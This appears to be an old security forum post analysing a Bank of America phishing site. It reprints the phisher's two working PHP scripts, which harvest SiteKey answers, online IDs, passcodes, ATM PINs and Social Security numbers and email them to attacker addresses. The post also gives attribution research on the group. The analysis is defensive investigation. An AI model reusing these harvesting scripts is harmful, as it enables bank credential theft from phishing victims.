[Phishing] Bank of America Phish, caught work in progress.

Author

All Replies

MGD
Premium,MVM
join:2002-07-31
Fort Lauderdale, FL

[Phishing] Bank of America Phish, caught work in progress.

Before
After
Cfusa Dir

I was checking out a BOA phish posted by huntermcdole

on phishtrack: »/phishtrack?pi···&parts=1 I am looking to see if any wizards out there can review that following data, and dig up any additional info or fingerprints on these criminals.

This is a very professional and slick phish »www.bankofamerica.com.cgi-bin.bo···ller.htm because in addition to the victims account data, it also seems to create or obtain your sitekey data. You can enter bogus info on the first page and then see what the sitekey page is trying to do.

Fortunately while monitoring the phish site I came across the entire upload package from the phisher. They went back and removed the zipped payload within a few hours [Exhibit 1 & 2]. There may be additional unique data that can be found, see attached presentation.zip. Though you obviously cannot see the php scripts on other BOA phishes, I wonder if there are other unique items that could be used to link them to the same author.

Someone more familiar with php scripts can confirm if there are two separate emails going to the phisher. One from "securekey.php" with sitekey/securekey info going to: purisangeh_team@yahoo.com and a back up to rdcpt0809@airpost.com with a from of BoA(support[AT]PlatinumBank.com)

<?

//if($securityKey3Ansr==""||$securityKey2Ans==""||$securityKey1Ans=="")
  //  {header("Location: GotoErrorsecurityKeyPage.htm");return FALSE; }

session_start();

//USER ACCOUNT

$securityKey1 = $_POST['securityKey1'];
$securityKey1Ans = $_POST['securityKey1Ans'];
$securityKey2 = $_POST['securityKey2'];
$securityKey2Ans = $_POST['securityKey2Ans'];
$securityKey3 = $_POST['securityKey3'];
$securityKey3Ansr = $_POST['securityKey3Ans'];
$ip = $_SERVER["REMOTE_ADDR"];

$subj = "Site Key BoA ip :$ip";
$msg = "Site key From ip :$ip
      \n-------------------
    \n\nSiteKey Challenge Question1: $securityKey1\nAnswer1: $securityKey1Ans\nSiteKey Challenge Question2: $securityKey2\nAnswer2: $securityKey2Ans\nSiteKey Challenge Question3: $securityKey3\nAnswer3: $securityKey3Ans
    ";

$from = "From: BoA<support@PlatinumBank.com>";
$to = "purisangeh_team@yahoo.com";
$backup = "rdcpt0809@airpost.com";

mail($to, $subj, $msg, $from, $chk);
mail($backup, $subj, $msg, $from, $chk);
header("Location: GotoCompletePage.htm");

?>

Another file "update.php" appears to be mailing the online id passcode and atm info to the same addresses:

<?

if($D1==""||$online_id==""||$passcode==""||$email=="")
 { if(! ereg ("^.+@.+\\..+$", $email))
    {header("Location: GotoErrorAccountPage.htm");return FALSE; }}

if($ssn3=="")
 { header("Location: GotoErrorSecurityPage.htm");return FALSE; }

if(isset($atm_number) || isset($pin))
{ if(!ereg("^[0-9]+$",$atm_number) || !ereg("^[0-9]+$",$pin))
    { header("Location: GotoErrorVerifyPage.htm"); return FALSE;}  }

session_start();

//USER ACCOUNT

$D1 = $_POST['D1'];
$online_id = $_POST['online_id'];
$passcode = $_POST['passcode'];
$repasscode = $_POST['repasscode'];
$email = $_POST['email'];
$atm_number = $_POST['atm_number'];
$pin = $_POST['pin'];

//SECURITY QUESTION

$ssn1 = $_POST['ssn1'];$ssn2 = $_POST['ssn2'];$ssn3 = $_POST['ssn3'];
$ip = $_SERVER["REMOTE_ADDR"];

$subj = "Full Info  BoA ip :$ip";
$msg = "Full Info From ip :$ip
      \nUSER ACCOUNT
      \n-------------------
    \n\nAccount open in : $D1\nOnline ID : $online_id\nPasscode : $passcode\nLast 8 Digit ATM : $atm_number\nATM PIN : $pin\nEmail : $email
    \n\nSECURITY QUESTION
      \n---------------------
    \n\nS S N : $ssn1-$ssn2-$ssn3";

$from = "From: BoA<support@PlatinumBank.com>";
$to = "purisangeh_team@yahoo.com";
                                                                                                                                                                                                                                              $backup = "rdcpt0809@airpost.net";

mail($to, $subj, $msg, $from, $chk);
                                                                                                                                                                                                                                              mail($backup, $subj, $msg, $from, $chk);
header("Location: GotoCompletePage.htm");

?>

Unfortunately without figuring out the password to the Yahoo email account there is no way to locate victims. I have never been able to have Yahoo pull an account based on submitting a script snippet showing that it is being used as a data collection tool. I guess it is possible to interfere and load them with bogus data by looking at the way the script formats the mail.

While the yahoo address is currently valid, it is difficult to check the backup one. Airpost.net appears to be a Canadian company that maybe forwards email, though it appears that there is no current DNS records so I am not sure if it is active.

The use of purisangeh_team indicates a group operation. Purisangeh may be Indonesian as indicated by a google search: »www.google.com/search?hl=en&q=Pu···e+Search I went to the Kaskus site listed at the top of the search looking for posts by the user Purisangeh, however the forum search function is disabled. It was worth checking because the search shows that it is not a common word. (WARNING: while looking at the google cache of KASKUS yesterday I got a popup with an attempt to install the wmf exploit, it only happened once, I have been back several times without incident, but be careful if you go there.)

Due to Google showing that "purisangeh" was rather unique, I decided to check out the purisangeh.org that was included in the search return. It is not an active domain, the A record points to Yahoo but looks like it may be pulled. Checking on the registration shows that it was registered in October of 2004 for 5 years to an individual in Cummings, GA. using an email address of purisangeh8181@yahoo.com. Someone in Georgia registering a name like that for 5 years did not seem cool, so I called the registered telephone number which turned out to be not them. I located a correct number for that name and spoke to the individual. As suspected they did not register the Purisangeh.org domain. However in October of 04 at the same time as the registration their credit card had been hit for hundreds of dollars in fraudulent charges. Their Bank notified them that the multiple charges were for all kinds of "Internet services". I am convinced that these are the same criminals.

I am not sure what is going on where the phish is hosted at cfusa.net. Doesn't the phisher need control of the domain in order to do this?: »www.bankofamerica.com.cgi-bin.bo···fusa.net which resolves the same as »www.cfusa.net. Notice how the phisher has his own "suspended page" available at »www.bankofamerica.com.cgi-bin.bo···ed.page/ I have seen that exact page format on other phishes. I guess you can fake the account as being closed when the heat is on, slick!!.

As recent as December 21st the google cache of the site showed this:»64.233.187.104/search?q=cache:vI···/+&hl=en Seems a little strange !!. The domain has been around for a few years see archive: »web.archive.org/web/*/http://www.cfusa.net

MGD

P.S. Since preparing this post the phish page now appears to be down, it was down and modified a few times during the research but came back. The directories are all still there.


Friday, 10-Oct 15:00:24	Terms of Use \| Privacy Policy \| Hosting by www.nac.net - DSL,Hosting & Co-lo \| feedback \| contact over 9 years online! © 1999-2008 dslreports.com.republican-creole page compression OFF